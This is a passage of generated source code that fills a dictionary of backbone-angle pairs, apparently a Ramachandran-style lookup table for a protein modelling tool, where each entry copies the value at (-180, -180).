NonPGIV_xpro[(50, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(50, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(60, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(70, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(80, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(90, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(100, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(110, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(120, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(130, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(140, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(150, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, -170)]=NonPGIV_xpro[(-180, -180)]
